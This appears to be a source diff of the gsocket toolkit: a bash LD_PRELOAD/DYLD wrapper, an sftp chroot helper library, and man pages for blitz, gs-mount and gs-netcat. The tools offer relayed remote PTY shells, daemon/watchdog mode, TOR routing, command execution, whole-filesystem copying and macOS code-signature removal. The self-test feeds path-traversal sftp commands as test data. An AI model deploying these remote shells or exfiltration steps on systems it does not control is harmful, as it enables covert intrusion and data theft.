source "${BASEDIR}/gs_funcs" 2>/dev/null || source "${BASEDIR}/../share/gsocket/gs_funcs" 2>/dev/null || { { source /etc/gsocket.conf 2>/dev/null || source "${BASEDIR}/../etc/gsocket.conf" 2>/dev/null || { echo >&2 "gsocket: gsocket.conf not found."; exit 3; } } && { source "${GS_PREFIX}/share/gsocket/gs_funcs" 2>/dev/null; } } || { echo >&2 "gsocket: gs_funcs not found"; exit 3; }
my_usage()
{
echo "${BIN_NAME} [-k file] [-s password] <programm> <parameters>
-s <secret> Secret (e.g. password).
-k <file> Read Secret from file.
-p <ports> Range of listening ports to redirect [default=all]
-T Use TOR.
Example:
$ ${BIN_NAME} -s MySecret /usr/bin/sshd -d # Server
$ ${BIN_NAME} -s MySecret ssh root@gsocket # Client
See 'gs-netcat -h' for more options."
exit "$1"
}
my_getopt()
{
OPTERR=0
# shellcheck disable=SC2034 # FL_NEED_PASSWORD appears unused. => used i env_arg_init
FL_NEED_PASSWORD=1
# Check if -s or -k is already supplied in environment and dont ask again.
[[ "$GSOCKET_ARGS" =~ ^'-s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ^'-k' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -k' ]] && unset FL_NEED_PASSWORD
# shellcheck disable=SC2220 # Invalid flags are not handled. Add a *) case.
while getopts ":qhgTp:s:k:L:" opt; do
case ${opt} in
s )
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$OPTARG" # Add to end of array
GSOCKET_SECRET="$OPTARG"
unset FL_NEED_PASSWORD
;;
k )
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-k" # Add to end of array
KFILE=$(cd "$(dirname "$OPTARG")" && pwd)/$(basename "$OPTARG")
[[ -f "${KFILE}" ]] || { echo >&2 "File not found: ${KFILE}"; exit 255; }
GSOCKET_SECRET=$(<"${KFILE}")
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="${KFILE}" # Add to end of array
# KFILE=$(eval echo "$OPTARG") # Add to end of array
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]=$(eval echo "$OPTARG") # Add to end of array
unset FL_NEED_PASSWORD
;;
g )
"${GS_NETCAT_BIN}" -g
exit
;;
h )
my_usage 0
;;
p )
GS_HIJACK_PORTS="${OPTARG}"
;;
T )
[[ -z "${GSOCKET_SOCKS_IP}" ]] && GSOCKET_SOCKS_IP="127.0.0.1"
;;
q )
# shellcheck disable=SC2034 # IS_QUIET appears unused. => Used in env_arg_init
IS_QUIET=1
ARGS_NEW[${#ARGS_NEW[@]}]="-q"
;;
\? )
# UNKNOWN option. Handle before '*' (e.g. -l)
ARGS_NEW[${#ARGS_NEW[@]}]="-${OPTARG}" # Add to end of array
;;
* )
# Other (known opts from opstring) w parameters (e.g. -L <file>)
ARGS_NEW[${#ARGS_NEW[@]}]="-${opt}" # Add to end of array
ARGS_NEW[${#ARGS_NEW[@]}]="${OPTARG}" # Add to end of array
;;
esac
done
[[ -n "${GSOCKET_SECRET}" ]] && unset FL_NEED_PASSWORD
}
# default values
GS_HIJACK_PORTS="1-65535"
# shellcheck disable=SC2034 # GS_RFX appears unused. => Used in gs_funcs
GS_PRFX="gsocket: "
gs_init
my_getopt "$@"
shift $((OPTIND -1))
[[ ${#@} -le 0 ]] && { echo >&2 "ERROR: No program specified"; my_usage 255; }
command -v "$1" >/dev/null 2>&1 || { echo >&2 "gsocket: command not found: ${1}"; exit 1; }
if [[ "$OSTYPE" == "darwin"* ]]; then
# OSX does not allow LD_PRELOAD of binaries in /usr/. Copy to tmp...
ROOTDIR=$(mktemp -d -t thc-gsXXXXXX)
PROGBIN_FULLPATH=$(which "$1")
[[ -z "$PROGBIN_FULLPATH" ]] && { echo >&2 "gsocket: command not found: ${1}"; exit 1; }
# FIXME: temp file is only cleaned on reboot. Hmm...
cp "${PROGBIN_FULLPATH}" "${ROOTDIR}/" &>/dev/null
PROGBIN_NAME="$(basename "${1}")" # programm binary
PROGBIN="${ROOTDIR}/${PROGBIN_NAME}"
# System Integrity Protection makes dyld ignore
# DYLD_INSERT_LIBRARIES.
# There are two ways how MacOS determines if a binary is SIP protected:
# 1. The location of the binary (ls -alO /usr/bin/ssh)
# 2. If the binary contains 'entitlements' (regardless of its location on the fs).
# A hack around this is to remove the signature completed (which will also disable
# any entitlements).
IS_REMOVE_SIGN=1
command -v csrutil >/dev/null && [[ ! "$(csrutil status)" =~ enabled ]] && { unset IS_REMOVE_SIGN; }
[[ -n $IS_REMOVE_SIGN ]] && command -v codesign >/dev/null && [[ -n "$(codesign -d --entitlements - "${PROGBIN}" 2>/dev/null)" ]] && {
codesign --remove-signature "${PROGBIN}";
}
else
ROOTDIR=""
PROGBIN="${1}"
fi
env_arg_init
shift 1
if [[ "$OSTYPE" == "darwin"* ]]; then
GS_NETCAT_BIN=${GS_NETCAT_BIN} GS_HIJACK_PORTS="${GS_HIJACK_PORTS}" GSOCKET_SOCKS_IP="${GSOCKET_SOCKS_IP}" GSOCKET_ARGS="${ENV_ARGS} ${ARGS_NEW[*]}" GSOCKET_SECRET="${GSOCKET_SECRET}" DYLD_INSERT_LIBRARIES=${GS_SO_BIN} DYLD_FORCE_FLAT_NAMESPACE=1 exec "${PROGBIN}" "$@"
else
GS_NETCAT_BIN=${GS_NETCAT_BIN} GS_HIJACK_PORTS="${GS_HIJACK_PORTS}" GSOCKET_SOCKS_IP="${GSOCKET_SOCKS_IP}" GSOCKET_ARGS="${ENV_ARGS} ${ARGS_NEW[*]}" GSOCKET_SECRET="${GSOCKET_SECRET}" LD_PRELOAD=${GS_SO_BIN} exec "${PROGBIN}" "$@"
fi
+1
View File
@@ -0,0 +1 @@
gsocket_dso.so.0
Binary file not shown.
+1
View File
@@ -0,0 +1 @@
gsocket_uchroot_dso.so.0
Binary file not shown.
+389
View File
@@ -0,0 +1,389 @@
#! /usr/bin/env bash
[[ $(basename -- "$0") == "gs_funcs" ]] && { echo "Use gsocket, gs-netcat, gs-sftp, gs-mount or blitz instead."; exit 1; }
# Find a sftp-server binary
find_binary()
{
bin=$1
command -v "${bin}" && { echo "${bin}"; return; }
shift 1
for dir in "$@"; do
file="${dir}/${bin}"
if [[ -f "$file" ]]; then
echo "${file}"
return
fi
done
echo ""
return
}
read_password()
{
echo -n >&2 "${GS_PRFX}Enter Secret (or press Enter to generate): "
read -r password
if [[ -z "${password}" ]]; then
password=$(${GS_NETCAT_BIN} -g)
fi
echo "${password}" | tr -d "[:space:]"
}
# haystack1 haystack2 needle
ucheck_fail()
{
[[ "$1" =~ $3 ]] || { echo >&2 "Symbol $3 not found in sftp-server."; exit 255; }
[[ "$2" =~ $3 ]] || { echo >&2 "Symbol $3 not found (2)."; exit 255; }
}
test_sftp()
{
echo "${1}" | ./gs-sftp -k id_sec.txt -wq 2>&1 | grep -c "Permission denied"
}
first_symbol()
{
for func in "$@"; do
if [[ "$sym_sftp" =~ $func ]]; then
echo "$func "
return
fi
done
echo ">>>$*-NOT-FOUND<<< "
}
uchroot_check_sym()
{
command -v nm >/dev/null 2>&1 || { echo >&2 "chroot failed (nm not found. apt-get install binutils?). Try -U to disable."; exit 255; }
# Extract symbols from .so and sftp-server binary
if [[ "$OSTYPE" == "darwin"* ]]; then
# on OSX remove the starting "_" from symboles
sym_sftp="$(nm -pu "${SFTP_SERVER_BIN}" | sed 's/^_//g')"
sym_uchr="$(nm -p "${UCHROOT_BIN}" | grep " T " | sed 's/^_//g')"
elif [[ "$OSTYPE" == "solaris"* ]]; then
sym_sftp="$(nm -Du "${SFTP_SERVER_BIN}")"
sym_uchr="$(nm -p "${UCHROOT_BIN}" | grep " T ")"
else
sym_sftp="$(nm -Du "${SFTP_SERVER_BIN}")"
sym_uchr="$(nm -D "${UCHROOT_BIN}" | grep " T ")"
fi
[[ -n "$sym_uchr" ]] || { echo >&2 "chroot self-test failed (nm bad1). Try -U to disable."; exit 255; }
[[ -n "$sym_sftp" ]] || { echo >&2 "chroot self-test failed (nm bad2). Try -U to disable."; exit 255; }
funclist+=$(first_symbol lstat\$INODE64 __lxstat64 __lxstat lstat64 lstat)
funclist+=$(first_symbol stat\$INODE64 __xstat64 __xstat stat64 stat)
funclist+=$(first_symbol opendir\$INODE64 opendir64 opendir)
funclist+=$(first_symbol open64 open)
if [[ ! "$OSTYPE" == "solaris2.10"* ]]; then
# On solaris 10 the stock OpenSSH install does not use statvfs64 (older version)
funclist+=$(first_symbol statvfs64 statvfs)
fi
[[ "${funclist}" =~ "NOT-FOUND"* ]] && { echo >&2 "Missing symbol...${funclist}"; exit 255; }
funclist+="chmod link mkdir rename rmdir symlink unlink"
# echo "funclist = $funclist" # DEBUG
for func in ${funclist}; do
ucheck_fail "${sym_sftp}" "${sym_uchr}" "${func}"
done
}
failed()
{
echo >&2 "ERROR: Self test failed: $1. Try -U to disable."
exit 255
}
# Verify that all symboles will get hijacked. exit on failure.
# linux osx solaris
# sftp -Du -pu -Du
# .so -D|T -p|T -p|T
uchroot_check()
{
local VALID_CMD
local FAIL_CMD
# skip nm-style symbol check on cygwin
# (sftp-server does not like nm on cygwin?!)
if [[ x"$OSTYPE" != "xcygwin"* ]]; then
# NOT cygwin
uchroot_check_sym
fi
# Run a self test (sftp -D sftp-server)
command -v sftp >/dev/null 2>&1 || { failed "sftp not found"; }
mkdir -p "${ROOTDIR}/ok"
mkdir -p "${ROOTDIR}/denied"
# echo "ROOTDIR=${ROOTDIR}" # DEBUG
echo hello exist-allowed.txt >"${ROOTDIR}/ok/exist-allowed.txt"
echo hello exist-denied.txt >"${ROOTDIR}/denied/exist-denied.txt"
dd if=/dev/urandom bs=1k count=1 2>/dev/null >"${ROOTDIR}/ok/test1k.dat"
echo "\
#! /bin/bash
cd \"${ROOTDIR}\"/ok
${PRELOAD} ${SFTP_SERVER_BIN} ${SFTP_ARGS[*]}" >"${ROOTDIR}/sftp-server.sh"
chmod 755 "${ROOTDIR}/sftp-server.sh"
# Run GOOD commands that should work
VALID_CMD="
mkdir dir1
cd dir1
cd ..
cd dir1
cd ../
ls ${ROOTDIR}/ok
ls ${ROOTDIR}/ok/exist-allowed.txt
put test1k.dat dir1
mkdir ./dir2/
"
[[ $(cd "${ROOTDIR}/ok"; echo "$VALID_CMD" | sftp -D "${ROOTDIR}/sftp-server.sh" 2>&1 | grep -c "Permission denied") -eq 0 ]] || { failed "valid cmd 0"; }
[[ -d "${ROOTDIR}/ok/dir1" ]] || { failed "valid-cmd 1"; }
[[ -d "${ROOTDIR}/ok/dir2" ]] || { failed "valid-cmd 2"; }
[[ -f "${ROOTDIR}/ok/dir1/test1k.dat" ]] || { failed "valid-cmd 3"; }
FAIL_CMD="
rename exist-allowed.txt ../denied/0wned.txt
mkdir ./dir1/../../denied/0wned
cd dir1/../../denied
cd ./../denied
ls ${ROOTDIR}
cd ${ROOTDIR}
cd ${ROOTDIR}/denied
cd ${ROOTDIR}/ok/../denied
rm ./../denied/exist-denied.txt
put test1k.dat ../denied/0wned.dat
put test1k.dat ../denied/exist-denied.txt
rename exist-allowed.txt ../denied/0wned.txt
rename exist-allowed.txt /0wned.txt
"
[[ $(cd "${ROOTDIR}/ok"; echo "$FAIL_CMD" | sftp -D "${ROOTDIR}/sftp-server.sh" 2>&1 | grep -c "Permission denied") -eq 13 ]] || { failed "fail cmd (2)"; }
FAIL_CMD="
ls dir1/../../denied
ls ./../denied/exist-denied.txt"
[[ $(cd "${ROOTDIR}/ok"; echo "$FAIL_CMD" | sftp -D "${ROOTDIR}/sftp-server.sh" 2>&1 | grep -c "not found") -eq 2 ]] || { failed "fail cmd (3)"; }
rm -rf "${ROOTDIR}/ok" &>/dev/null
rm -rf "${ROOTDIR}/denied" &>/dev/null
rm -rf "${ROOTDIR}/sftp-server.sh" &>/dev/null
}
gs_find_so_single()
{
[[ -e "${1}/${2}" ]] && { echo "$(cd "${1}" || exit; pwd)""/${2}"; }
}
arrayContains()
{
local e match="$1"
shift
for e; do [[ "$e" == "$match" ]] && return 0; done
return 1
}
# Search for the dynamic shared object file.
# 1. Try $basedir
# 2. Try ${basedir}/../lib
# 3. Try /usr/lib
# 4. Try /usr/local/lib
# Return absolute path to DSO.
gs_find_so()
{
local DL=("${BASEDIR}")
# Debian packaging requires libs in /usr/lib/x86_64-linux-gnu :/
if command -v dpkg-architecture &>/dev/null; then
DL+=("/usr/lib/$(dpkg-architecture -qDEB_HOST_MULTIARCH)")
fi
DL+=("${1}/lib") # This is either GS_PREFIX/lib or BASEDIR/../lib
arrayContains "/usr/lib" "${DL[@]}" || DL+=("/usr/lib")
arrayContains "/usr/local/lib" "${DL[@]}" || DL+=("/usr/local/lib")
for dir in "${DL[@]}"; do
res=$(gs_find_so_single "${dir}" "${2}")
[[ -z "$res" ]] || { echo "$res"; return; }
done
}
gs_init()
{
GS_NETCAT_BIN="gs-netcat"
BIN="${BASEDIR}/${GS_NETCAT_BIN}"
[[ -f "${BIN}" ]] && GS_NETCAT_BIN="${BIN}"
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
GS_SFTP_BIN="${BASEDIR}/gs-sftp"
EXE=""
if [[ "$OSTYPE" == "cygwin"* ]]; then
EXE=".exe"
fi
# To find sftp-server and DSO's in PREFIX/lib
PREFIX="$GS_PREFIX"
[[ -z "$PREFIX" ]] && PREFIX="$(cd "$(dirname "${0}")/../" || exit; pwd)"
# on OSX the dl-files are called .bundle (not .dylib) but it is generally
# accepted to call them .so. OSX keep those is /System/Library/gsocket
# but automake insists on ${PREFIX}/lib
UCHROOT_BIN=$(gs_find_so "$PREFIX" "gsocket_uchroot_dso.so.0${EXE}")
[[ -z "$UCHROOT_BIN" ]] && { echo >&2 "gsocket: gsocket_uchroot_dso.so.0${EXE} not found. Try 'apt install dpkg-dev'."; exit 5; }
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
GS_SO_BIN=$(gs_find_so "$PREFIX" "gsocket_dso.so.0${EXE}")
[[ -z "$GS_SO_BIN" ]] && { echo >&2 "gsocket: gsocket_dso.so.0${EXE} not found."; exit 5; }
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
BIN_NAME="$(basename "${0}")"
command -v "${GS_NETCAT_BIN}" >/dev/null 2>&1 || { echo >&2 "${GS_NETCAT_BIN} not found. Check PATH=?"; exit 1; }
}
usage()
{
echo "
-l Server Mode.
-R Server in read-only mode.
-s <secret> Secret (e.g. password).
-k <file> Read Secret from file.
Example:
$ ${1} -s MySecret -l # Server
$ ${1} -s MySecret # Client
See 'gs-netcat -h' for more options."
}
do_getopt()
{
OPTERR=0
FL_NEED_PASSWORD=1
IS_UCHROOT=1
# Check if -s or -k is already supplied in environment and dont ask again.
[[ "$GSOCKET_ARGS" =~ ^'-s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ^'-k' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -k' ]] && unset FL_NEED_PASSWORD
# shellcheck disable=SC2220 # Invalid flags are not handled. Add a *) case.
while getopts ":qhURgls:k:L:" opt; do
case ${opt} in
s )
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$OPTARG" # Add to end of array
unset FL_NEED_PASSWORD
;;
k )
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-k" # Add to end of array
KFILE=$(cd "$(dirname "$OPTARG")" && pwd)/$(basename "$OPTARG")
[[ -f "${KFILE}" ]] || { echo >&2 "File not found: ${KFILE}"; exit 255; }
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="${KFILE}" # Add to end of array
# KFILE=$(eval echo "$OPTARG") # Add to end of array
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]=$(eval echo "$OPTARG") # Add to end of array
unset FL_NEED_PASSWORD
;;
g )
"${GS_NETCAT_BIN}" -g
exit
;;
h )
my_usage
;;
q )
IS_QUIET=1
ARGS_NEW[${#ARGS_NEW[@]}]="-q"
;;
l )
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
IS_SERVER=1
ARGS_NEW[${#ARGS_NEW[@]}]="-l" # Add to end of array
;;
R )
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
IS_READONLY=1
SFTP_ARGS[${#SFTP_ARGS[@]}]="-R"
;;
U )
unset IS_UCHROOT
;;
\? )
# UNKNOWN option. Handle before '*' (e.g. -l)
ARGS_NEW[${#ARGS_NEW[@]}]="-${OPTARG}" # Add to end of array
;;
* )
# Other (known opts from opstring) w parameters (e.g. -L <file>)
ARGS_NEW[${#ARGS_NEW[@]}]="-${opt}" # Add to end of array
ARGS_NEW[${#ARGS_NEW[@]}]="${OPTARG}" # Add to end of array
;;
esac
done
# Solaris 10 problems:
# - stock sftp-server does not allow -p <whitelist> -> Acceptable risk
# - LD_PRELOAD does not seem to work. Does anyone still use solaris10?
if [[ "$OSTYPE" == "solaris2.10"* ]]; then
echo -e >&2 "\033[1;31mWARNING\033[0m: uchroot not (yet) supported on solaris 10."
unset IS_UCHROOT
fi
}
env_arg_init()
{
# Prepare existing GSOCKET_ARGS to take more arguments if there are any
[[ -n "$GSOCKET_ARGS" ]] && GSOCKET_ARGS+=" "
if [[ -n "$FL_NEED_PASSWORD" ]]; then
password=$(read_password)
# shellcheck disable=SC2034 # GSOCKET_SECRET appears unused => It's used in 'gs'
GSOCKET_SECRET="${password}"
echo "${GS_PRFX}=Secret : ${password}"
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$password" # Add to end of array
fi
# Have to output it here because gs-netcat might be started from withing
# sshfs or sftpd where stderr is no longer available to gs-netcat
[[ -n "$IS_QUIET" ]] || echo >&2 "${GS_PRFX}=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)"
ENV_ARGS="${GSOCKET_ARGS}${GSNC_ENV_ARGS[*]}"
}
sftp_server_start()
{
# SERVER
if [[ "$OSTYPE" == "darwin"* ]]; then
# OSX does not allow LD_PRELOAD of binaries in /usr/. Copy to tmp...
ROOTDIR=$(mktemp -d -t thc-gs-sftp)
# FIXME: temp file only cleaned on reboot. Hmm...
cp /usr/libexec/sftp-server "${ROOTDIR}/sftp-server" &>/dev/null
SFTP_SERVER_BIN="${ROOTDIR}/sftp-server"
PRELOAD="DYLD_INSERT_LIBRARIES=${UCHROOT_BIN} DYLD_FORCE_FLAT_NAMESPACE=1"
else
if [[ -n "${IS_UCHROOT}" ]]; then
ROOTDIR=$(mktemp -d -t thc-gs-sftp-XXXXXXXXXXXXXXX)
fi
SFTP_SERVER_BIN=$(find_binary "sftp-server${EXE}" "${PREFIX}/lib" /opt/csw/libexec /usr/lib /usr/local/lib /usr/libexec /usr/libexec/openssh /usr/lib/ssh /usr/sbin)
PRELOAD="LD_PRELOAD=${UCHROOT_BIN}"
fi
[[ -z "${SFTP_SERVER_BIN}" ]] && { echo >&2 "sftp-server binary not found."; exit 1; }
# SFTP_ARGS[${#SFTP_ARGS[@]}]="-l"
# SFTP_ARGS[${#SFTP_ARGS[@]}]="DEBUG3" # tail /var/log/auth.log | grep 'Refusing non-whitelisted'
# Whitelist of commands sftp-server should allow (most are not needed
# by sftp but for sshfs)
# *** WARNING ***: If you add a string here you also must make sure that
# gsocket_uchroot_dso checks the command for uchroot-escape.
SFTP_ARGS[${#SFTP_ARGS[@]}]="-p"
SFTP_ARGS[${#SFTP_ARGS[@]}]="open,opendir,mkdir,remove,rmdir,symlink,hardlink,stat,posix-rename,statvfs,setstat,fsetstat,fstat,lstat,readdir,realpath,write,read,close"
ENV_ARGS="${GSOCKET_ARGS}${GSNC_ENV_ARGS[*]}"
if [[ -n "${IS_UCHROOT}" ]]; then
[[ -z "${ROOTDIR}" ]] && { failed "(mktemp)"; }
uchroot_check
# Try to delete temporary directory. OSX still has sftp-server bin in there and must be deleted
rmdir "${ROOTDIR}" &>/dev/null
else
echo -e >&2 "\033[1;31mWARNING\033[0m: uchroot disabled. Allowing access to *ALL* files on this host."
unset PRELOAD
fi
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}" exec "${GS_NETCAT_BIN}" "${ARGS_NEW[@]}" -e "${PRELOAD} ${SFTP_SERVER_BIN} ${SFTP_ARGS[*]} 2>/dev/null"
}
@@ -0,0 +1,88 @@
.Dd October 12, 2020
.Dt BLITZ 1
.Os
.Sh NAME
.Nm blitz
.Nd Securely transfer files between two workstations through NAT/Firewall.
.Sh SYNOPSIS
.Nm blitz
.Op Fl lT
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Op Fl f Ar list
.Op Fl o Ar RSOPT=
.Op Ar files ...
.Sh DESCRIPTION
The
.Nm
utility is a wrapper script for gs-netcat and rsync. It allows one to send files from one workstation to another workstation via the Global Socket Relay Network (GSRN).
.Pp
A typical use-case is where both workstations are separated by a Firewall or NAT and not able to establish a direct connection between each other.
.Pp
.Sh OPTIONS
.Bl -tag -width Ds
.It Fl l
Server mode. The default mode is client.
.It Fl s Ar secret
A password chosen by the user. Both users need to use the same password to connect.
.It Fl k Ar FILE
A file containing the password.
.It Fl f Ar FILE
Read list of file names from FILE. If FILE is -, the list will be read from standard input.
.It Fl o Ar RSOPT=
Options passed to rsync. See
.Xr rsync(1)
for available options.
.It Fl T
Use TOR. The
.Nm
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
.El
.Pp
See
.Xr gs-netcat(1)
for more options.
.Sh EXAMPLES
Listen for clients with password 'MySecret':
.Dl $ mkdir /tmp/foo && cd /tmp/foo
.Dl $ blitz -s MySecret -l
.Pp
Copy 'file.dat' to /tmp/foo/file.dat on the server:
.Dl $ blitz -s MySecret file.dat
.Pp
Copy '/etc/ssh/ssh*config' to /tmp/foo/etc/ssh/ on the server:
.Dl $ blitz -s MySecret /etc/ssh/ssh*config
.Pp
It is also possible to limit the amount of path information that is sent as implied directories for each path you specify. You can insert a dot and a slash into the source path, like this:
.Pp
.Dl $ blitz -s MySecret /etc/./ssh/ssh*config
The received files will be stored to /tmp/foo/ssh/ instead of /tmp/foo/etc/ssh.
.Pp
Copy recursively and limit bandwidth to 10kB/sec:
.Dl $ blitz -s MySecret -o 'RSOPT=--bwlimit=10' /usr/./share
.Pp
Copy the entire root file-system:
.Dl $ blitz -s MySecret -o 'RSOPT=-x' /
.Pp
Copy specific files read from standard input:
.Dl $ find\ . -name '*.conf' | blitz -s MySecret -f \-
.Pp
Run a permanent server (daemon) through TOR:
.Dl $ blitz -s MySecret -l -D -T
.Pp
.Sh ENVIRONMENT
See
.Xr gs-netcat(1)
for a list of supported environment variables.
.Pp
.Sh SEE ALSO
.Xr gsocket(1) ,
.Xr gs-netcat(1) ,
.Xr gs-sftp(1) ,
.Xr gs-mount(1) ,
.Xr rsync(1)
.Pp
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
@@ -0,0 +1,60 @@
.Dd October 12, 2020
.Dt GS-MOUNT 1
.Os
.Sh NAME
.Nm gs-mount
.Nd Secure filesystem client through via Global Socket.
.Sh SYNOPSIS
.Nm gs-mount
.Op Fl lTR
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Op Ar mountpoint
.Sh DESCRIPTION
The
.Nm
utility is a wrapper script for gs-netcat. It allows a user to mount and access a filesystem from another user via the Global Socket Relay Network (GSRN). This is useful in a scenario where both users are behind NAT/Firewall and unable to connect to each other directly.
.Pp
.Sh OPTIONS
.Bl -tag -width Ds
.It Fl s Ar secret
A password chosen by the user. Both users need to use the same password to connect.
.It Fl k Ar FILE
A file containing the password.
.It Fl l
Server mode. The default mode is client.
.It Fl R
Places server (-l) into a read-only mode. Attempts to open files for writing, as well as other operations that change the state of the filesystem, will be denied.
.It Fl T
Use TOR. The
.Nm
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
.El
.Pp
See
.Xr gs-netcat(1)
for more options.
.Sh EXAMPLES
.Nm Example 1
- Alice sharing her current directory:
.Dl $ gs-mount -s MySecret -l
.Pp
Bob mounting Alice's directory to ~/gs-alice:
.Dl $ gs-mount -s MySecret ~/gs-alice
.Pp
.Sh ENVIRONMENT
See
.Xr gs-netcat(1)
for a list of supported environment variables.
.Pp
.Sh SEE ALSO
.Xr gsocket(1) ,
.Xr gs-netcat(1) ,
.Xr gs-sftp(1) ,
.Xr blitz(1) ,
.Xr sshfs(1)
.Pp
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
@@ -0,0 +1,256 @@
\# .TH gs-netcat 1 "08 October 2020" "1.0" "gs-netcat man page"
.Dd October 08, 2020
.Dt GS-NETCAT 1
.Os
.Sh NAME
.Nm gs-netcat
.Nd transfer data, forward traffic and execute commands on a remote host. Securely.
.Sh SYNOPSIS
.Nm gs-netcat
.Op Fl rlgvqwCTSDiu
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Op Fl L Ar logfile
.Op Fl d Ar IP
.Op Fl p Ar port
.Op Fl e Ar cmd
.Sh DESCRIPTION
The
.Nm
utility is a re-implementation of netcat. It allows two or more users to establish a secure TCP connection with each other in a scenario where all users are behind NAT/Firewall and would not be able to connect to each other directly. Typically a connection between one workstation and another workstation on a different Local Area Network.
.Pp
It uses the Global Socket Relay Network (GSRN) instead of direct TCP connections. Neither workstation needs to open a port in their firewall or accept incoming TCP connections.
.Pp
The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime. The GSRN sees only the encrypted traffic.
.Pp
Common uses include:
.Pp
.Bl -bullet -offset indent -compact
.It
simple TCP proxies
.It
PTY shell
.It
File transfer
.It
a SOCKS ProxyCommand for
.Xr ssh 1
.It
and much, much more.
.El
.Pp
.Sh OPTIONS
.Bl -tag -width Ds
.It Fl C
Disable encryption and use clear-text instead. Use with caution.
.It Fl d Ar ip
Destination IPv4 address for port forwarding.
.It Fl D
Daemon & Watchdog mode. Start
.Nm
as a background process and restart if killed.
.It Fl e Ar cmd
Execute command and send output to the connected client. Needs -l.
.It Fl g
Generate a secure random password and output it to standard output.
.It Fl i
Interactive login shell. The server spawns a true PTY login shell. The client acts as a true PTY client (with Ctrl-C etc working). The client can terminate the session by typing 'Ctrl-e q' at any time or by typing 'exit'. The server supports multiple clients at the same time.
.It Fl k Ar file
A file containing the password.
.It Fl l
Server/Listening mode. The default mode is client.
.It Fl L Ar file
Log file [default: standard out]
.It Fl p Ar port
Port to listen on or to forward traffic to [1-65535].
.It Fl q
Quiet mode. Do not output any warnings or errors.
.It Fl r
Receive-only. Do not send any data. Terminate when no more data is available for reading.
.It Fl s Ar secret
A password chosen by the user. Both users need to use the same password to connect.
.It Fl S
Act as a SOCKS4/4a/5 server. The server acts as a SOCKS4/4a/5 proxy. It allows multiple
.Nm
clients to (securely) relay traffic via the server. Needs -l.
.It Fl T
Use TOR. The
.Nm
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
.It Fl t
Connect to the GSRN (only) and check if the peer is listening. Do not connect the peer.
.It Fl u
Use UDP instead of TCP for port forwarding. Needs -p.
.It Fl v
Prints status messages. Use -vv to be more verbose and -vvv to be insanely verbose.
.It Fl w
Client to wait for the listening server to become available.
.El
.Sh CONSOLE
The interactive login shell (
.Ar -i
) has a command console. Pressing 'Ctrl-e c' (e for EEEElite) opens the command console. The command console displays the following information:
.Pp
.Bl -bullet -offset indent -compact
.It
Latency (in milliseconds) to the remote host
.It
Warning when a user logs into the system or becomes active
.It
Data throughput
.It
File transfer logs
.El
Type 'help' for a list of available commands.
.Sh FILETRANSFER
File transfer is available from the command console. Files are transferred with the permission and modification timestamp unchanged. Partially transferred files are re-started where the transfer was left off.
The 'put' command is used for uploading:
.Dl put foobar.txt
.Dl put $HOME/foobar.txt
.Dl put /tmp/*.log
.Dl put $(find . -type f -name '*.c')
(The above example shows Shell Variable substitution and word expansion)
It is possible to limit the amount of path information that is sent as implied directories for each path you specify. You can insert a dot and a slash into the source path, like this:
.Dl put /foo/./bar/baz.c
That would create /tmp/bar/baz.c on the remote machine.
The 'get' command is used for downloading:
.Dl get foobar.txt
.Dl get $(find /var/./ -name '*.log')
Transferring a directory automatically transfers all files and directories within that directory (recursively):
.Dl get /var/log
.Dl get /
The first command transfers all directories and files in /var/log/*. The latter command transfers the entire filesystem.
Multiple get/put commands can be scheduled at the same time.
.Sh EXAMPLES
.Nm Example 1
- Listen for a new connection using the password 'MySecret':
.Dl $ gs-netcat -s MySecret -l
.Pp
Connect with client using the same password:
.Dl $ gs-netcat -s MySecret
.Pp
.Nm Example 2
- spawn a PTY login shell when a client connects:
.Dl $ gs-netcat -s MySecret -l -i
.Pp
Log in to server's interactive shell:
.Dl $ gs-netcat -s MySecret -i
.Pp
Log in via TOR:
.Dl $ gs-netcat -s MySecret -i -T
.Pp
Log in via a Socks5 Proxy:
.Dl $ export GSOCKET_SOCKS_IP=127.0.0.1
.Dl $ export GSOCKET_SOCKS_PORT=1080
